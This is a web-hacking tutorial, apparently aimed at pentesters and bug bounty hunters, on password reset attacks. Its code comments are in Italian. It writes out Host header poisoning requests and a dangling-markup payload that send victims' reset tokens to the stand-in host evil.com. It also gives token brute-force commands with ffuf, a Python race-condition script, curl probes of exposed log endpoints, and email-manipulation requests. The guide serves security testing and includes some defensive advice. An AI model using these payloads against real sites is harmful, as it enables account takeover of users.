web hacking

Password Reset Attack: Techniques, Exploits and Account Takeover

Password Reset Attack: Techniques, Exploits and Account Takeover

Password Reset Attack Guide: Host header poisoning, weak tokens, race conditions, leaks, and practical account takeover techniques for web pentests.

  • Posted on 2026-08-04
  • Reading time: 8 min

Password Reset Attack: All the Vulnerabilities in the Password Reset Flow #

A password reset attack exploits vulnerabilities in an application's password recovery mechanism to take control of someone else's account. It's one of the most common account takeover vectors in bug bounties because the reset flow is often poorly implemented: predictable tokens, non-expiring links, unvalidated host headers, and race conditions.

Just one of these vulnerabilities is enough for a complete account takeover without knowing the victim's password.

OWASP classifies these vulnerabilities in A07:2021 — Identification and Authentication Failures.

See also: account-takeover , 2fa-bypass , broken-authentication , session-hijacking.


How Password Reset Works (and Where It Breaks) #

The standard flow of a password reset is this:

text
1. Utente inserisce la sua email → clicca "Forgot password"
2. Il server genera un token univoco e lo salva (DB o cache)
3. Il server manda una email con un link contenente il token:
   https://target.com/reset?token=abc123xyz
4. L'utente clicca il link, il server verifica il token
5. L'utente imposta la nuova password → token invalidato

Every step can be broken. Let's see how.


Technique 1 — Host Header Poisoning #

This is the most serious and widespread password reset vulnerability. The server uses the header value. Host to construct the reset link that's sent via email. If that header isn't validated, the attacker can make the link point to their server.

How it works step by step:

text
1. L'attaccante manda una request di reset per l'email della vittima
   MA con Host: evil.com

2. Il server genera il token corretto, costruisce il link:
   https://evil.com/reset?token=TOKEN_VITTIMA
   (usa l'header Host senza validarlo)

3. Il server manda questa email alla vittima:
   "Clicca qui per resettare la password:
    https://evil.com/reset?token=TOKEN_VITTIMA"

4. La vittima clicca il link → va su evil.com → l'attaccante riceve il token

5. L'attaccante usa il token su target.com:
   https://target.com/reset?token=TOKEN_VITTIMA
   → imposta una nuova password → account takeover

How to test with Burp:

bash
# Intercetta la request di reset password con Burp
# Modifica l'header Host prima di mandare

# Request originale:
POST /forgot-password HTTP/1.1
Host: target.com
Content-Type: application/json
{"email": "victim@mail.com"}

# Request modificata:
POST /forgot-password HTTP/1.1
Host: evil.com                    ← modificato
Content-Type: application/json
{"email": "victim@mail.com"}

# Oppure usa X-Forwarded-Host (spesso trusted anche se Host è validato):
POST /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com        ← aggiunto
{"email": "victim@mail.com"}

# Altri header da provare:
X-Host: evil.com
X-Original-URL: https://evil.com/reset
Forwarded: host=evil.com

Variant — Dangling Markup if email is HTML:

bash
# Se il link viene inserito in un attributo HTML senza encoding
# puoi iniettare markup che esfila il token anche senza controllare evil.com

Host: target.com"><img src="https://evil.com/?token=
# Il link generato nell'email diventa:
# <a href="https://target.com"><img src="https://evil.com/?token=TOKEN_VITTIMA">
# Quando l'email client carica l'immagine → token inviato al server dell'attaccante

Technique 2 — Predictable or Weak Token #

The reset token must be cryptographically random and long enough. If it's predictable, an attacker can guess it.

Weak token patterns you find in bug bounties:

bash
# Timestamp (ms o secondi)
# Se il token è il timestamp di creazione → spazio di ricerca limitato
# Sai quando hai fatto la request → provi i timestamp in quel range

# MD5 o SHA1 dell'email
echo -n "victim@mail.com" | md5sum
# 5e8ff9bf55ba3508199d22e984129be6 → token prevedibile se conosci l'email

# Stringa sequenziale o incrementale
# token=abc001 → token=abc002 → token=abc003
# Registra un account → vedi il tuo token → provi quello precedente = token della vittima

# UUID v1 (basato su timestamp + MAC address)
# Se riesci a determinare il timestamp e il MAC address del server
# puoi prevedere gli UUID v1 generati prima e dopo il tuo

# Base64 di dati ovvi
echo -n "victim@mail.com|2024-01-15" | base64
# → token prevedibile

How to test:

bash
# Passo 1: crea due account di test e richiedi il reset per entrambi
# rapidamente (pochi secondi di distanza)

# Passo 2: analizza i token ricevuti
TOKEN_A="abc123xyz789"
TOKEN_B="abc124xyz790"
# Se differiscono di poco → sequenziali o basati su timestamp → brute force

# Passo 3: richiedi reset per la vittima → cerca il token nel range tra A e B
# Con ffuf o Burp Intruder:
ffuf -u "https://target.com/reset-password?token=FUZZ" \
  -w <(cat tokens_da_provare.txt) \
  -mc 200 \
  -fr "invalid|expired|not found"

Technique 3 — Token Does Not Expire After Use #

A successfully used token must be immediately invalidated. If the server fails to do so, the same token will work multiple times.

How to test:

bash
# Passo 1: richiedi un reset per il TUO account
# Passo 2: usa il token per resettare la password
curl -X POST "https://target.com/reset-password" \
  -d "token=TOKEN_VALIDO&password=NuovaPass123"
# → password cambiata con successo

# Passo 3: riusa lo stesso token
curl -X POST "https://target.com/reset-password" \
  -d "token=TOKEN_VALIDO&password=AltroNuovaPass"
# Se risponde 200 → token non invalidato dopo uso → vulnerabile

Technique 4 — Token Does Not Expire Over Time (No Expiry) #

Reset tokens must have a short expiration time (15-60 minutes). If the server doesn't enforce expiration, a token generated months ago is still valid.

How to test:

bash
# Passo 1: richiedi un reset per il tuo account → ricevi il token
# Passo 2: NON usarlo. Aspetta 24-48 ore (o più se stai facendo un pentest lungo)
# Passo 3: prova il token vecchio

curl -X POST "https://target.com/reset-password" \
  -d "token=TOKEN_VECCHIO_24H&password=NuovaPass"
# Se risponde 200 → nessuna expiry → token eterni → brute force molto più fattibile

# Impatto: l'utente potrebbe aver richiesto un reset mesi fa e dimenticato il link
# Quella email nella sua inbox contiene un token ancora valido
# Chiunque acceda all'email (es. ex dipendente) può prendere l'account

Technique 5 — Leaked Token in Referer Header #

When the user clicks the reset link and is taken to the new password page, that page may load external resources (analytics, CDN, third-party scripts). If the token is in the URL, it is included in the header. Referer of any requests towards those resources.

How does it work:

text
1. Utente riceve il link: https://target.com/reset?token=abc123xyz
2. Clicca il link → la pagina di reset si carica
3. La pagina carica Google Analytics, un CDN, widget di chat
4. Il browser manda verso ogni risorsa esterna:
   Referer: https://target.com/reset?token=abc123xyz
5. Il provider di analytics (Google, Mixpanel, ecc.) riceve il token nel Referer

How to test:

bash
# Analizza il source HTML della pagina di reset
curl "https://target.com/reset?token=abc123" | grep -iE "src=|href=|analytics|gtm|cdn"
# Cerca: Google Analytics (ga.js, gtag), GTM, Mixpanel, Hotjar, Intercom, CDN esterni

# Guarda il traffico di rete con Burp:
# 1. Clicca il link di reset (con token tuo)
# 2. In Burp Proxy History filtra le request verso domini esterni
# 3. Cerca l'header Referer → contiene il token?

# Se il token è nel Referer verso risorse di terze parti → vulnerabile
# In un contesto reale: l'attaccante controlla il server della risorsa esterna
# o usa un img tag iniettato nella pagina per catturare il Referer

Technique 6 — Resetting Password Without Confirming the Old One #

Some applications allow you to change your password from the account page without asking for your current password. If the session remains active after a reset, an attacker with temporary access (XSS, session hijacking, or physical access) can permanently change your password.

How to test:

bash
# Vai nelle impostazioni account → cambio password
# Controlla se richiede la vecchia password

curl -X POST "https://target.com/account/change-password" \
  -H "Cookie: session=SESSION_VALIDA" \
  -H "Content-Type: application/json" \
  -d '{"new_password":"AttackerPass123","confirm_password":"AttackerPass123"}'
# Se non chiede old_password e risponde 200 → vulnerabile

# Combinazione con XSS:
# Inietti uno script che fa questa request mentre la vittima è loggata
# → cambio password silenzioso → ATO persistente

Technique 7 — Race Condition on the Token #

If the server doesn't handle concurrency properly, it's possible to use the same token multiple times by sending requests in parallel before the server can invalidate it.

How to test:

bash
# Richiedi un reset → ottieni il token
# Manda 20 richieste parallele con lo stesso token in 0.1 secondi

# Con Python (threading)
python3 - << 'EOF'
import requests
import threading

TOKEN = "IL_TUO_TOKEN"
URL = "https://target.com/reset-password"

def try_reset(i):
    r = requests.post(URL, data={
        "token": TOKEN,
        "password": f"Password{i}!"
    })
    print(f"Thread {i}: {r.status_code} - {r.text[:50]}")

threads = [threading.Thread(target=try_reset, args=(i,)) for i in range(20)]
for t in threads: t.start()
for t in threads: t.join()
EOF
# Se più di una richiesta risponde 200 → race condition confermata
# In un contesto reale: usi il token "rubato" in parallelo con la vittima

Technique 8 — Reset Password with Email Case Manipulation #

Some applications normalize the email address during registration but not during reset. You can request a reset for a variant of the victim's email address and receive the token in your inbox.

How to test:

bash
# Email vittima: victim@mail.com
# Prova queste varianti nel form di reset:

# Uppercase
curl -X POST "https://target.com/forgot-password" \
  -d "email=VICTIM@MAIL.COM"

# Mixed case
curl -X POST "https://target.com/forgot-password" \
  -d "email=Victim@Mail.Com"

# Con spazio (alcuni parser lo strippano)
curl -X POST "https://target.com/forgot-password" \
  -d "email=victim@mail.com "

# Subaddressing (Gmail ignora il +tag, alcuni server no)
# Se controlli attacker+victim@gmail.com e victim@gmail.com è già registrato:
curl -X POST "https://target.com/forgot-password" \
  -d "email=attacker+victim@gmail.com"

# Unicode normalization (ä → ae in alcuni sistemi)
# Se l'email usa caratteri speciali

# Se il server manda il reset link all'email che hai fornito invece che
# all'email normalizzata nel DB → ricevi il token tu

In enterprise application pentests, check whether reset links are logged in accessible systems:

bash
# Splunk / Elasticsearch / Kibana esposti
curl "https://target.com:9200/_search?q=reset+token"
curl "https://splunk.target.com/en-US/search?q=reset"

# Log applicativi esposti
curl "https://target.com/logs/app.log"
curl "https://target.com/storage/logs/laravel.log"  # Laravel

# Email di reset in Wayback Machine (a volte le email vengono indicizzate)
# Raro ma documentato in alcuni bug bounty report

Complete Workflow from Pentester #

This is the order to test when presented with a “Forgot password” form:

text
Step 1 — Host Header Poisoning
  → Intercetta la request con Burp
  → Cambia Host: evil.com → manda la request per la tua email di test
  → Controlla se il link di reset arriva con evil.com
  → Ripeti con X-Forwarded-Host, X-Host, Forwarded

Step 2 — Token Analysis
  → Richiedi 5-10 reset per il tuo account di test in rapida successione
  → Esamina i token: sono sequenziali? Basati su timestamp? Corti?
  → Se sì → brute force fattibile

Step 3 — Token Expiry
  → Richiedi un reset → aspetta 1h → prova il token
  → Se funziona ancora → no expiry

Step 4 — Token Invalidation
  → Usa il token → riusa lo stesso token → funziona ancora?

Step 5 — Referer Leak
  → Analizza il source della pagina di reset
  → Il token è nell'URL? Ci sono risorse esterne caricate?
  → Guarda il traffico in Burp: il token appare nel Referer?

Step 6 — Email Manipulation
  → Prova uppercase, mixed case, spazio finale, subaddressing
  → Il server manda il token all'email che hai fornito o a quella del DB?

Step 7 — Race Condition
  → Token trovato? Manda 10-20 richieste parallele in 100ms
  → Più di una risponde 200? → race condition

Step 8 — Account Change Without Old Password
  → Nelle impostazioni account: cambio password senza richiedere quella attuale?

Checklist #

text
HOST HEADER POISONING
☐ Host: evil.com → link di reset punta a evil.com?
☐ X-Forwarded-Host: evil.com → idem?
☐ X-Host: evil.com → idem?
☐ Dangling markup nell'email HTML?

TOKEN
☐ Token sequenziale o prevedibile?
☐ Token basato su timestamp → brute force nel range?
☐ Token è MD5/SHA1 dell'email?
☐ Token scade dopo 1h? (test: aspetta 2h e prova)
☐ Token invalidato dopo l'uso? (test: riusa dopo reset riuscito)
☐ Token brute forceable? (short token + no rate limit)

REFERER / LOG LEAK
☐ Token nell'URL della pagina di reset?
☐ Pagina carica risorse esterne con token nel Referer?
☐ Log applicativi esposti che contengono token?

EMAIL MANIPULATION
☐ UPPERCASE email → token inviato all'email maiuscola?
☐ Subaddressing (victim+tag@gmail.com)?
☐ Spazio trailing nell'email?

RACE CONDITION
☐ 20 richieste parallele con stesso token → più di una risponde 200?

CHANGE PASSWORD
☐ Cambio password senza richiedere quella attuale?

DOCUMENTAZIONE
☐ Screenshot request manomessa
☐ Screenshot email ricevuta (con token o con link a evil.com)
☐ Screenshot accesso all'account target

FAQ #

Host header poisoning: The email arrives from evil.com, but I don't have a server there. How do I capture the token? You need an HTTP server listening on evil.com. The easiest way: register a domain, use a VPS with nginx, and log all incoming requests. Alternatively, use Burp Collaborator (it already has an HTTP/DNS server ready) and set up TUOID.burpcollaborator.net as Host — Get notified when the victim clicks the link.

How do I test for Host header poisoning without affecting real users? Always use YOUR test account. Enter YOUR email address in the reset form, then edit the Host header. If the link goes to evil.com, the vulnerability is confirmed without affecting other users.

The token is 64 hexadecimal characters long. Is it brute-forceable? No. A 64-hexadecimal token contains 256 bits of entropy—it's not brute-forceable with reasonable resources. Focus on other techniques (host header, expiry, invalidation, race conditions).

I find the token on the reset page in the URL. Is this a problem? Yes if the page loads external resources without stripping the Referer. Add <meta name="referrer" content="no-referrer"> in the HTML to prevent this, or put the token in the body of the POST instead of the query string.

What is the severity in a report? Host header poisoning leading to ATO → Critical . Token without expiry + brute force → High . Reusable token → High . Token referer leak → Medium/High . Password change without old_password → Medium (requires active session).


Resources #

#password-reset-attack #password-reset-poisoning #account-takeover #host-header-poisoning #broken-authentication #reset-token #race-condition

leave a message

I'm not a robot